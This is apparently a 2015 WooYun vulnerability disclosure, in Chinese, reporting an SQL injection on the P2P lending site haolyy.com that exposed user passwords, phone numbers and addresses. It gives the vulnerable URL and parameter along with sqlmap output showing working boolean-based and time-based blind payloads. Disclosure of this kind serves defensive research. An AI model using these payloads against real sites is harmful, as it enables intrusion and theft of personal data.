缺陷编号:WooYun-2015-0123779
漏洞标题:P2P之好利网SQL注入泄露数万用户信息
相关厂商:好利网
漏洞作者:Me_Fortune
提交时间:2015-07-01 10:52
公开时间:2015-08-15 10:54
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
2015-07-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-15: 厂商已经主动忽略漏洞,细节向公众公开
泄露用户名,登陆密码,手机号,家庭住址,等等等,能泄露的都泄露了。5300个用户
1、
1 |
http://m.haolyy.com/web/showmember/appcatview?categoryId1=10 |
1 2 3 4 5 6 7 8 9 10 11 |
sqlmap identified the following injection points with a total of 57 HTTP(s) requests:<br> ---<br> Parameter: categoryId1 (GET)<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: categoryId1=10 AND 6535=6535Type: AND/OR time-based blind<br> Title: MySQL >= 5.0.12 AND time-based blind (SELECT)<br> Payload: categoryId1=10 AND (SELECT * FROM (SELECT(SLEEP(5)))KDEs)<br> ---<br> web application technology: JSP<br> back-end DBMS: MySQL 5.0.12 |
2、数据库
3、数据量
4、
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)
ˊ_>ˋ
@侦探911 大牛你好
原文连接
的情况下转载,若非则不得使用我方内容。